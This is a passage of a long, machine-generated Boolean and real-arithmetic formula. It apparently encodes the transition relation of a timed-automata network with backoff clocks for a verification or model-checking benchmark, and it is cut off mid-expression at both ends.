_x_s20_lambda)) && (((delta + (s20_x + (-1.0 * _x_s20_x))) == 0.0) && (s20_backoff == _x_s20_backoff))) || ( !(( !(delta <= 0.0)) || (( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))))) && ((((_x_s20_l0 && ( !_x_s20_l1)) || ((( !_x_s20_l0) && ( !_x_s20_l1)) || (_x_s20_l1 && ( !_x_s20_l0)))) && ((s20_backoff == _x_s20_backoff) && (_x_s20_x == 0.0))) || ( !((( !s20_l0) && ( !s20_l1)) && ((delta == 0.0) && ( !(( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))))))) && (((( !s20_evt2) && (s20_evt0 && ( !s20_evt1))) && (s20_lambda == _x_s20_lambda)) || ( !((( !_x_s20_l0) && ( !_x_s20_l1)) && ((( !s20_l0) && ( !s20_l1)) && ((delta == 0.0) && ( !(( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1)))))))))) && ((s20_evt2 && (( !s20_evt0) && ( !s20_evt1))) || ( !((_x_s20_l1 && ( !_x_s20_l0)) && ((( !s20_l0) && ( !s20_l1)) && ((delta == 0.0) && ( !(( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1)))))))))) && (((s20_lambda == _x_s20_lambda) && ((s20_evt2 && (s20_evt1 && ( !s20_evt0))) || (( !s20_evt2) && (s20_evt0 && ( !s20_evt1))))) || ( !((_x_s20_l0 && ( !_x_s20_l1)) && ((( !s20_l0) && ( !s20_l1)) && ((delta == 0.0) && ( !(( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1)))))))))) && ((((s20_lambda == _x_s20_lambda) && (_x_s20_x == 0.0)) && ((( !_x_s20_l0) && ( !_x_s20_l1)) || (_x_s20_l0 && ( !_x_s20_l1)))) || ( !((s20_l1 && ( !s20_l0)) && ((delta == 0.0) && ( !(( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))))))) && (((s20_lambda <= s20_x) && ((( !s20_evt2) && (s20_evt1 && ( !s20_evt0))) && (_x_s20_backoff <= s20_backoff))) || ( !((( !_x_s20_l0) && ( !_x_s20_l1)) && ((s20_l1 && ( !s20_l0)) && ((delta == 0.0) && ( !(( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1)))))))))) && (((( !s20_evt2) && (s20_evt0 && ( !s20_evt1))) && ((s20_backoff + (-1.0 * _x_s20_backoff)) <= -1.0)) || ( !((_x_s20_l0 && ( !_x_s20_l1)) && ((s20_l1 && ( !s20_l0)) && ((delta == 0.0) && ( !(( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1)))))))))) && (((s20_lambda == _x_s20_lambda) && (((_x_s20_l1 && ( !_x_s20_l0)) || (_x_s20_l0 && ( !_x_s20_l1))) && ((s20_backoff == _x_s20_backoff) && (_x_s20_x == 0.0)))) || ( !((s20_l0 && ( !s20_l1)) && ((delta == 0.0) && ( !(( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))))))) && ((( !s20_evt2) && (s20_evt0 && ( !s20_evt1))) || ( !((_x_s20_l0 && ( !_x_s20_l1)) && ((s20_l0 && ( !s20_l1)) && ((delta == 0.0) && ( !(( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1)))))))))) && (((s20_evt2 && (( !s20_evt0) && ( !s20_evt1))) && (s20_backoff <= s20_x)) || ( !((_x_s20_l1 && ( !_x_s20_l0)) && ((s20_l0 && ( !s20_l1)) && ((delta == 0.0) && ( !(( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1)))))))))) && (((((((((((((((((( !_x_s19_evt2) && (_x_s19_evt0 && ( !_x_s19_evt1))) || (((( !_x_s19_evt2) && (( !_x_s19_evt0) && ( !_x_s19_evt1))) || (_x_s19_evt2 && (( !_x_s19_evt0) && ( !_x_s19_evt1)))) || ((( !_x_s19_evt2) && (_x_s19_evt1 && ( !_x_s19_evt0))) || (_x_s19_evt2 && (_x_s19_evt1 && ( !_x_s19_evt0)))))) && ((( !_x_s19_l0) && ( !_x_s19_l1)) || ((_x_s19_l1 && ( !_x_s19_l0)) || (_x_s19_l0 && ( !_x_s19_l1))))) && (13.0 <= _x_s19_backoff)) && (( !(_x_s19_lambda <= 0.0)) && ((_x_s19_x <= _x_s19_lambda) || ( !(_x_s19_l1 && ( !_x_s19_l0)))))) && (((((s19_l0 == _x_s19_l0) && (s19_l1 == _x_s19_l1)) && (s19_lambda == _x_s19_lambda)) && (((delta + (s19_x + (-1.0 * _x_s19_x))) == 0.0) && (s19_backoff == _x_s19_backoff))) || ( !(( !(delta <= 0.0)) || (( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))))) && ((((_x_s19_l0 && ( !_x_s19_l1)) || ((( !_x_s19_l0) && ( !_x_s19_l1)) || (_x_s19_l1 && ( !_x_s19_l0)))) && ((s19_backoff == _x_s19_backoff) && (_x_s19_x == 0.0))) || ( !((( !s19_l0) && ( !s19_l1)) && ((delta == 0.0) && ( !(( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))))))) && (((( !s19_evt2) && (s19_evt0 && ( !s19_evt1))) && (s19_lambda == _x_s19_lambda)) || ( !((( !_x_s19_l0) && ( !_x_s19_l1)) && ((( !s19_l0) && ( !s19_l1)) && ((delta == 0.0) && ( !(( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1)))))))))) && ((s19_evt2 && (( !s19_evt0) && ( !s19_evt1))) || ( !((_x_s19_l1 && ( !_x_s19_l0)) && ((( !s19_l0) && ( !s19_l1)) && ((delta == 0.0) && ( !(( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1)))))))))) && (((s19_lambda == _x_s19_lambda) && ((s19_evt2 && (s19_evt1 && ( !s19_evt0))) || (( !s19_evt2) && (s19_evt0 && ( !s19_evt1))))) || ( !((_x_s19_l0 && ( !_x_s19_l1)) && ((( !s19_l0) && ( !s19_l1)) && ((delta == 0.0) && ( !(( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1)))))))))) && ((((s19_lambda == _x_s19_lambda) && (_x_s19_x == 0.0)) && ((( !_x_s19_l0) && ( !_x_s19_l1)) || (_x_s19_l0 && ( !_x_s19_l1)))) || ( !((s19_l1 && ( !s19_l0)) && ((delta == 0.0) && ( !(( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))))))) && (((s19_lambda <= s19_x) && ((( !s19_evt2) && (s19_evt1 && ( !s19_evt0))) && (_x_s19_backoff <= s19_backoff))) || ( !((( !_x_s19_l0) && ( !_x_s19_l1)) && ((s19_l1 && ( !s19_l0)) && ((delta == 0.0) && ( !(( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1)))))))))) && (((( !s19_evt2) && (s19_evt0 && ( !s19_evt1))) && ((s19_backoff + (-1.0 * _x_s19_backoff)) <= -1.0)) || ( !((_x_s19_l0 && ( !_x_s19_l1)) && ((s19_l1 && ( !s19_l0)) && ((delta == 0.0) && ( !(( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1)))))))))) && (((s19_lambda == _x_s19_lambda) && (((_x_s19_l1 && ( !_x_s19_l0)) || (_x_s19_l0 && ( !_x_s19_l1))) && ((s19_backoff == _x_s19_backoff) && (_x_s19_x == 0.0)))) || ( !((s19_l0 && ( !s19_l1)) && ((delta == 0.0) && ( !(( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))))))) && ((( !s19_evt2) && (s19_evt0 && ( !s19_evt1))) || ( !((_x_s19_l0 && ( !_x_s19_l1)) && ((s19_l0 && ( !s19_l1)) && ((delta == 0.0) && ( !(( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1)))))))))) && (((s19_evt2 && (( !s19_evt0) && ( !s19_evt1))) && (s19_backoff <= s19_x)) || ( !((_x_s19_l1 && ( !_x_s19_l0)) && ((s19_l0 && ( !s19_l1)) && ((delta == 0.0) && ( !(( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1)))))))))) && (((((((((((((((((( !_x_s18_evt2) && (_x_s18_evt0 && ( !_x_s18_evt1))) || (((( !_x_s18_evt2) && (( !_x_s18_evt0) && ( !_x_s18_evt1))) || (_x_s18_evt2 && (( !_x_s18_evt0) && ( !_x_s18_evt1)))) || ((( !_x_s18_evt2) && (_x_s18_evt1 && ( !_x_s18_evt0))) || (_x_s18_evt2 && (_x_s18_evt1 && ( !_x_s18_evt0)))))) && ((( !_x_s18_l0) && ( !_x_s18_l1)) || ((_x_s18_l1 && ( !_x_s18_l0)) || (_x_s18_l0 && ( !_x_s18_l1))))) && (13.0 <= _x_s18_backoff)) && (( !(_x_s18_lambda <= 0.0)) && ((_x_s18_x <= _x_s18_lambda) || ( !(_x_s18_l1 && ( !_x_s18_l0)))))) && (((((s18_l0 == _x_s18_l0) && (s18_l1 == _x_s18_l1)) && (s18_lambda == _x_s18_lambda)) && (((delta + (s18_x + (-1.0 * _x_s18_x))) == 0.0) && (s18_backoff == _x_s18_backoff))) || ( !(( !(delta <= 0.0)) || (( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))))) && ((((_x_s18_l0 && ( !_x_s18_l1)) || ((( !_x_s18_l0) && ( !_x_s18_l1)) || (_x_s18_l1 && ( !_x_s18_l0)))) && ((s18_backoff == _x_s18_backoff) && (_x_s18_x == 0.0))) || ( !((( !s18_l0) && ( !s18_l1)) && ((delta == 0.0) && ( !(( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))))))) && (((( !s18_evt2) && (s18_evt0 && ( !s18_evt1))) && (s18_lambda == _x_s18_lambda)) || ( !((( !_x_s18_l0) && ( !_x_s18_l1)) && ((( !s18_l0) && ( !s18_l1)) && ((delta == 0.0) && ( !(( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1)))))))))) && ((s18_evt2 && (( !s18_evt0) && ( !s18_evt1))) || ( !((_x_s18_l1 && ( !_x_s18_l0)) && ((( !s18_l0) && ( !s18_l1)) && ((delta == 0.0) && ( !(( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1)))))))))) && (((s18_lambda == _x_s18_lambda) && ((s18_evt2 && (s18_evt1 && ( !s18_evt0))) || (( !s18_evt2) && (s18_evt0 && ( !s18_evt1))))) || ( !((_x_s18_l0 && ( !_x_s18_l1)) && ((( !s18_l0) && ( !s18_l1)) && ((delta == 0.0) && ( !(( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1)))))))))) && ((((s18_lambda == _x_s18_lambda) && (_x_s18_x == 0.0)) && ((( !_x_s18_l0) && ( !_x_s18_l1)) || (_x_s18_l0 && ( !_x_s18_l1)))) || ( !((s18_l1 && ( !s18_l0)) && ((delta == 0.0) && ( !(( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))))))) && (((s18_lambda <= s18_x) && ((( !s18_evt2) && (s18_evt1 && ( !s18_evt0))) && (_x_s18_backoff <= s18_backoff))) || ( !((( !_x_s18_l0) && ( !_x_s18_l1)) && ((s18_l1 && ( !s18_l0)) && ((delta == 0.0) && ( !(( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1)))))))))) && (((( !s18_evt2) && (s18_evt0 && ( !s18_evt1))) && ((s18_backoff + (-1.0 * _x_s18_backoff)) <= -1.0)) || ( !((_x_s18_l0 && ( !_x_s18_l1)) && ((s18_l1 && ( !s18_l0)) && ((delta == 0.0) && ( !(( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1)))))))))) && (((s18_lambda == _x_s18_lambda) && (((_x_s18_l1 && ( !_x_s18_l0)) || (_x_s18_l0 && ( !_x_s18_l1))) && ((s18_backoff == _x_s18_backoff) && (_x_s18_x == 0.0)))) || ( !((s18_l0 && ( !s18_l1)) && ((delta == 0.0) && ( !(( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))))))) && ((( !s18_evt2) && (s18_evt0 && ( !s18_evt1))) || ( !((_x_s18_l0 && ( !_x_s18_l1)) && ((s18_l0 && ( !s18_l1)) && ((delta == 0.0) && ( !(( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1)))))))))) && (((s18_evt2 && (( !s18_evt0) && ( !s18_evt1))) && (s18_backoff <= s18_x)) || ( !((_x_s18_l1 && ( !_x_s18_l0)) && ((s18_l0 && ( !s18_l1)) && ((delta == 0.0) && ( !(( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1)))))))))) && (((((((((((((((((( !_x_s17_evt2) && (_x_s17_evt0 && ( !_x_s17_evt1))) || (((( !_x_s17_evt2) && (( !_x_s17_evt0) && ( !_x_s17_evt1))) || (_x_s17_evt2 && (( !_x_s17_evt0) && ( !_x_s17_evt1)))) || ((( !_x_s17_evt2) && (_x_s17_evt1 && ( !_x_s17_evt0))) || (_x_s17_evt2 && (_x_s17_evt1 && ( !_x_s17_evt0)))))) && ((( !_x_s17_l0) && ( !_x_s17_l1)) || ((_x_s17_l1 && ( !_x_s17_l0)) || (_x_s17_l0 && ( !_x_s17_l1))))) && (13.0 <= _x_s17_backoff)) && (( !(_x_s17_lambda <= 0.0)) && ((_x_s17_x <= _x_s17_lambda) || ( !(_x_s17_l1 && ( !_x_s17_l0)))))) && (((((s17_l0 == _x_s17_l0) && (s17_l1 == _x_s17_l1)) && (s17_lambda == _x_s17_lambda)) && (((delta + (s17_x + (-1.0 * _x_s17_x))) == 0.0) && (s17_backoff == _x_s17_backoff))) || ( !(( !(delta <= 0.0)) || (( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))))))) && ((((_x_s17_l0 && ( !_x_s17_l1)) || ((( !_x_s17_l0) && ( !_x_s17_l1)) || (_x_s17_l1 && ( !_x_s17_l0)))) && ((s17_backoff == _x_s17_backoff) && (_x_s17_x == 0.0))) || ( !((( !s17_l0) && ( !s17_l1)) && ((delta == 0.0) && ( !(( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))))))))) && (((( !s17_evt2) && (s17_evt0 && ( !s17_evt1))) && (s17_lambda == _x_s17_lambda)) || ( !((( !_x_s17_l0) && ( !_x_s17_l1)) && ((( !s17_l0) && ( !s17_l1)) && ((delta == 0.0) && ( !(( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1)))))))))) && ((s17_evt2 && (( !s17_evt0) && ( !s17_evt1))) || ( !((_x_s17_l1 && ( !_x_s17_l0)) && ((( !s17_l0) && ( !s17_l1)) && ((delta == 0.0) && ( !(( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1)))))))))) && (((s17_lambda == _x_s17_lambda) && ((s17_evt2 && (s17_evt1 && ( !s17_evt0))) || (( !s17_evt2) && (s17_evt0 && ( !s17_evt1))))) || ( !((_x_s17_l0 && ( !_x_s17_l1)) && ((( !s17_l0) && ( !s17_l1)) && ((delta == 0.0) && ( !(( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1)))))))))) && ((((s17_lambda == _x_s17_lambda) && (_x_s17_x == 0.0)) && ((( !_x_s17_l0) && ( !_x_s17_l1)) || (_x_s17_l0 && ( !_x_s17_l1)))) || ( !((s17_l1 && ( !s17_l0)) && ((delta == 0.0) && ( !(( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))))))))) && (((s17_lambda <= s17_x) && ((( !s17_evt2) && (s17_evt1 && ( !s17_evt0))) && (_x_s17_backoff <= s17_backoff))) || ( !((( !_x_s17_l0) && ( !_x_s17_l1)) && ((s17_l1 && ( !s17_l0)) && ((delta == 0.0) && ( !(( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1)))))))))) && (((( !s17_evt2) && (s17_evt0 && ( !s17_evt1))) && ((s17_backoff + (-1.0 * _x_s17_backoff)) <= -1.0)) || ( !((_x_s17_l0 && ( !_x_s17_l1)) && ((s17_l1 && ( !s17_l0)) && ((delta == 0.0) && ( !(( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1)))))))))) && (((s17_lambda == _x_s17_lambda) && (((_x_s17_l1 && ( !_x_s17_l0)) || (_x_s17_l0 && ( !_x_s17_l1))) && ((s17_backoff == _x_s17_backoff) && (_x_s17_x == 0.0)))) || ( !((s17_l0 && ( !s17_l1)) && ((delta == 0.0) && ( !(( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))))))))) && ((( !s17_evt2) && (s17_evt0 && ( !s17_evt1))) || ( !((_x_s17_l0 && ( !_x_s17_l1)) && ((s17_l0 && ( !s17_l1)) && ((delta == 0.0) && ( !(( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1)))))))))) && (((s17_evt2 && (( !s17_evt0) && ( !s17_evt1))) && (s17_backoff <= s17_x)) || ( !((_x_s17_l1 && ( !_x_s17_l0)) && ((s17_l0 && ( !s17_l1)) && ((delta == 0.0) && ( !(( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1)))))))))) && (((((((((((((((((( !_x_s16_evt2) && (_x_s16_evt0 && ( !_x_s16_evt1))) || (((( !_x_s16_evt2) && (( !_x_s16_evt0) && ( !_x_s16_evt1))) || (_x_s16_evt2 && (( !_x_s16_evt0) && ( !_x_s16_evt1)))) || ((( !_x_s16_evt2) && (_x_s16_evt1 && ( !_x_s16_evt0))) || (_x_s16_evt2 && (_x_s16_evt1 && ( !_x_s16_evt0)))))) && ((( !_x_s16_l0) && ( !_x_s16_l1)) || ((_x_s16_l1 && ( !_x_s16_l0)) || (_x_s16_l0 && ( !_x_s16_l1))))) && (13.0 <= _x_s16_backoff)) && (( !(_x_s16_lambda <= 0.0)) && ((_x_s16_x <= _x_s16_lambda) || ( !(_x_s16_l1 && ( !_x_s16_l0)))))) && (((((s16_l0 == _x_s16_l0) && (s16_l1 == _x_s16_l1)) && (s16_lambda == _x_s16_lambda)) && (((delta + (s16_x + (-1.0 * _x_s16_x))) == 0.0) && (s16_backoff == _x_s16_backoff))) || ( !(( !(delta <= 0.0)) || (( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))))))) && ((((_x_s16_l0 && ( !_x_s16_l1)) || ((( !_x_s16_l0) && ( !_x_s16_l1)) || (_x_s16_l1 && ( !_x_s16_l0)))) && ((s16_backoff == _x_s16_backoff) && (_x_s16_x == 0.0))) || ( !((( !s16_l0) && ( !s16_l1)) && ((delta == 0.0) && ( !(( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))))))))) && (((( !s16_evt2) && (s16_evt0 && ( !s16_evt1))) && (s16_lambda == _x_s16_lambda)) || ( !((( !_x_s16_l0) && ( !_x_s16_l1)) && ((( !s16_l0) && ( !s16_l1)) && ((delta == 0.0) && ( !(( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1)))))))))) && ((s16_evt2 && (( !s16_evt0) && ( !s16_evt1))) || ( !((_x_s16_l1 && ( !_x_s16_l0)) && ((( !s16_l0) && ( !s16_l1)) && ((delta == 0.0) && ( !(( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1)))))))))) && (((s16_lambda == _x_s16_lambda) && ((s16_evt2 && (s16_evt1 && ( !s16_evt0))) || (( !s16_evt2) && (s16_evt0 && ( !s16_evt1))))) || ( !((_x_s16_l0 && ( !_x_s16_l1)) && ((( !s16_l0) && ( !s16_l1)) && ((delta == 0.0) && ( !(( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1)))))))))) && ((((s16_lambda == _x_s16_lambda) && (_x_s16_x == 0.0)) && ((( !_x_s16_l0) && ( !_x_s16_l1)) || (_x_s16_l0 && ( !_x_s16_l1)))) || ( !((s16_l1 && ( !s16_l0)) && ((delta == 0.0) && ( !(( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))))))))) && (((s16_lambda <= s16_x) && ((( !s16_evt2) && (s16_evt1 && ( !s16_evt0))) && (_x_s16_backoff <= s16_backoff))) || ( !((( !_x_s16_l0) && ( !_x_s16_l1)) && ((s16_l1 && ( !s16_l0)) && ((delta == 0.0) && ( !(( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1)))))))))) && (((( !s16_evt2) && (s16_evt0 && ( !s16_evt1))) && ((s16_backoff + (-1.0 * _x_s16_backoff)) <= -1.0)) || ( !((_x_s16_l0 && ( !_x_s16_l1)) && ((s16_l1 && ( !s16_l0)) && ((delta == 0.0) && ( !(( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1)))))))))) && (((s16_lambda == _x_s16_lambda) && (((_x_s16_l1 && ( !_x_s16_l0)) || (_x_s16_l0 && ( !_x_s16_l1))) && ((s16_backoff == _x_s16_backoff) && (_x_s16_x == 0.0)))) || ( !((s16_l0 && ( !s16_l1)) && ((delta == 0.0) && ( !(( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))))))))) && ((( !s16_evt2) && (s16_evt0 && ( !s16_evt1))) || ( !((_x_s16_l0 && ( !_x_s16_l1)) && ((s16_l0 && ( !s16_l1)) && ((delta == 0.0) && ( !(( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1)))))))))) && (((s16_evt2 && (( !s16_evt0) && ( !s16_evt1))) && (s16_backoff <= s16_x)) || ( !((_x_s16_l1 && ( !_x_s16_l0)) && ((s16_l0 && ( !s16_l1)) && ((delta == 0.0) && ( !(( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1)))))))))) && (((((((((((((((((( !_x_s15_evt2) && (_x_s15_evt0 && ( !_x_s15_evt1))) || (((( !_x_s15_evt2) && (( !_x_s15_evt0) && ( !_x_s15_evt1))) || (_x_s15_evt2 && (( !_x_s15_evt0) && ( !_x_s15_evt1)))) || ((( !_x_s15_evt2) && (_x_s15_evt1 && ( !_x_s15_evt0))) || (_x_s15_evt2 && (_x_s15_evt1 && ( !_x_s15_evt0)))))) && ((( !_x_s15_l0) && ( !_x_s15_l1)) || ((_x_s15_l1 && ( !_x_s15_l0)) || (_x_s15_l0 && ( !_x_s15_l1))))) && (13.0 <= _x_s15_backoff)) && (( !(_x_s15_lambda <= 0.0)) && ((_x_s15_x <= _x_s15_lambda) || ( !(_x_s15_l1 && ( !_x_s15_l0)))))) && (((((s15_l0 == _x_s15_l0) && (s15_l1 == _x_s15_l1)) && (s15_lambda == _x_s15_lambda)) && (((delta + (s15_x + (-1.0 * _x_s15_x))) == 0.0) && (s15_backoff == _x_s15_backoff))) || ( !(( !(delta <= 0.0)) || (( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))))))) && ((((_x_s15_l0 && ( !_x_s15_l1)) || ((( !_x_s15_l0) && ( !_x_s15_l1)) || (_x_s15_l1 && ( !_x_s15_l0)))) && ((s15_backoff == _x_s15_backoff) && (_x_s15_x == 0.0))) || ( !((( !s15_l0) && ( !s15_l1)) && ((delta == 0.0) && ( !(( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))))))))) && (((( !s15_evt2) && (s15_evt0 && ( !s15_evt1))) && (s15_lambda == _x_s15_lambda)) || ( !((( !_x_s15_l0) && ( !_x_s15_l1)) && ((( !s15_l0) && ( !s15_l1)) && ((delta == 0.0) && ( !(( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1)))))))))) && ((s15_evt2 && (( !s15_evt0) && ( !s15_evt1))) || ( !((_x_s15_l1 && ( !_x_s15_l0)) && ((( !s15_l0) && ( !s15_l1)) && ((delta == 0.0) && ( !(( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1)))))))))) && (((s15_lambda == _x_s15_lambda) && ((s15_evt2 && (s15_evt1 && ( !s15_evt0))) || (( !s15_evt2) && (s15_evt0 && ( !s15_evt1))))) || ( !((_x_s15_l0 && ( !_x_s15_l1)) && ((( !s15_l0) && ( !s15_l1)) && ((delta == 0.0) && ( !(( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1)))))))))) && ((((s15_lambda == _x_s15_lambda) && (_x_s15_x == 0.0)) && ((( !_x_s15_l0) && ( !_x_s15_l1)) || (_x_s15_l0 && ( !_x_s15_l1)))) || ( !((s15_l1 && ( !s15_l0)) && ((delta == 0.0) && ( !(( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))))))))) && (((s15_lambda <= s15_x) && ((( !s15_evt2) && (s15_evt1 && ( !s15_evt0))) && (_x_s15_backoff <= s15_backoff))) || ( !((( !_x_s15_l0) && ( !_x_s15_l1)) && ((s15_l1 && ( !s15_l0)) && ((delta == 0.0) && ( !(( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1)))))))))) && (((( !s15_evt2) && (s15_evt0 && ( !s15_evt1))) && ((s15_backoff + (-1.0 * _x_s15_backoff)) <= -1.0)) || ( !((_x_s15_l0 && ( !_x_s15_l1)) && ((s15_l1 && ( !s15_l0)) && ((delta == 0.0) && ( !(( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1)))))))))) && (((s15_lambda == _x_s15_lambda) && (((_x_s15_l1 && ( !_x_s15_l0)) || (_x_s15_l0 && ( !_x_s15_l1))) && ((s15_backoff == _x_s15_backoff) && (_x_s15_x == 0.0)))) || ( !((s15_l0 && ( !s15_l1)) && ((delta == 0.0) && ( !(( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))))))))) && ((( !s15_evt2) && (s15_evt0 && ( !s15_evt1))) || ( !((_x_s15_l0 && ( !_x_s15_l1)) && ((s15_l0 && ( !s15_l1)) && ((delta == 0.0) && ( !(( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1)))))))))) && (((s15_evt2 && (( !s15_evt0) && ( !s15_evt1))) && (s15_backoff <= s15_x)) || ( !((_x_s15_l1 && ( !_x_s15_l0)) && ((s15_l0 && ( !s15_l1)) && ((delta == 0.0) && ( !(( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1)))))))))) && (((((((((((((((((( !_x_s14_evt2) && (_x_s14_evt0 && ( !_x_s14_evt1))) || (((( !_x_s14_evt2) && (( !_x_s14_evt0) && ( !_x_s14_evt1))) || (_x_s14_evt2 && (( !_x_s14_evt0) && ( !_x_s14_evt1)))) || ((( !_x_s14_evt2) && (_x_s14_evt1 && ( !_x_s14_evt0))) || (_x_s14_evt2 && (_x_s14_evt1 && ( !_x_s14_evt0)))))) && ((( !_x_s14_l0) && ( !_x_s14_l1)) || ((_x_s14_l1 && ( !_x_s14_l0)) || (_x_s14_l0 && ( !_x_s14_l1))))) && (13.0 <= _x_s14_backoff)) && (( !(_x_s14_lambda <= 0.0)) && ((_x_s14_x <= _x_s14_lambda) || ( !(_x_s14_l1 && ( !_x_s14_l0)))))) && (((((s14_l0 == _x_s14_l0) && (s14_l1 == _x_s14_l1)) && (s14_lambda == _x_s14_lambda)) && (((delta + (s14_x + (-1.0 * _x_s14_x))) == 0.0) && (s14_backoff == _x_s14_backoff))) || ( !(( !(delta <= 0.0)) || (( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))))))) && ((((_x_s14_l0 && ( !_x_s14_l1)) || ((( !_x_s14_l0) && ( !_x_s14_l1)) || (_x_s14_l1 && ( !_x_s14_l0)))) && ((s14_backoff == _x_s14_backoff) && (_x_s14_x == 0.0))) || ( !((( !s14_l0) && ( !s14_l1)) && ((delta == 0.0) && ( !(( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))))))))) && (((( !s14_evt2) && (s14_evt0 && ( !s14_evt1))) && (s14_lambda == _x_s14_lambda)) || ( !((( !_x_s14_l0) && ( !_x_s14_l1)) && ((( !s14_l0) && ( !s14_l1)) && ((delta == 0.0) && ( !(( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1)))))))))) && ((s14_evt2 && (( !s14_evt0) && ( !s14_evt1))) || ( !((_x_s14_l1 && ( !_x_s14_l0)) && ((( !s14_l0) && ( !s14_l1)) && ((delta == 0.0) && ( !(( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1)))))))))) && (((s14_lambda == _x_s14_lambda) && ((s14_evt2 && (s14_evt1 && ( !s14_evt0))) || (( !s14_evt2) && (s14_evt0 && ( !s14_evt1))))) || ( !((_x_s14_l0 && ( !_x_s14_l1)) && ((( !s14_l0) && ( !s14_l1)) && ((delta == 0.0) && ( !(( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1)))))))))) && ((((s14_lambda == _x_s14_lambda) && (_x_s14_x == 0.0)) && ((( !_x_s14_l0) && ( !_x_s14_l1)) || (_x_s14_l0 && ( !_x_s14_l1)))) || ( !((s14_l1 && ( !s14_l0)) && ((delta == 0.0) && ( !(( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))))))))) && (((s14_lambda <= s14_x) && ((( !s14_evt2) && (s14_evt1 && ( !s14_evt0))) && (_x_s14_backoff <= s14_backoff))) || ( !((( !_x_s14_l0) && ( !_x_s14_l1)) && ((s14_l1 && ( !s14_l0)) && ((delta == 0.0) && ( !(( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1)))))))))) && (((( !s14_evt2) && (s14_evt0 && ( !s14_evt1))) && ((s14_backoff + (-1.0 * _x_s14_backoff)) <= -1.0)) || ( !((_x_s14_l0 && ( !_x_s14_l1)) && ((s14_l1 && ( !s14_l0)) && ((delta == 0.0) && ( !(( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1)))))))))) && (((s14_lambda == _x_s14_lambda) && (((_x_s14_l1 && ( !_x_s14_l0)) || (_x_s14_l0 && ( !_x_s14_l1))) && ((s14_backoff == _x_s14_backoff) && (_x_s14_x == 0.0)))) || ( !((s14_l0 && ( !s14_l1)) && ((delta == 0.0) && ( !(( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))))))))) && ((( !s14_evt2) && (s14_evt0 && ( !s14_evt1))) || ( !((_x_s14_l0 && ( !_x_s14_l1)) && ((s14_l0 && ( !s14_l1)) && ((delta == 0.0) && ( !(( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1)))))))))) && (((s14_evt2 && (( !s14_evt0) && ( !s14_evt1))) && (s14_backoff <= s14_x)) || ( !((_x_s14_l1 && ( !_x_s14_l0)) && ((s14_l0 && ( !s14_l1)) && ((delta == 0.0) && ( !(( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1)))))))))) && (((((((((((((((((( !_x_s13_evt2) && (_x_s13_evt0 && ( !_x_s13_evt1))) || (((( !_x_s13_evt2) && 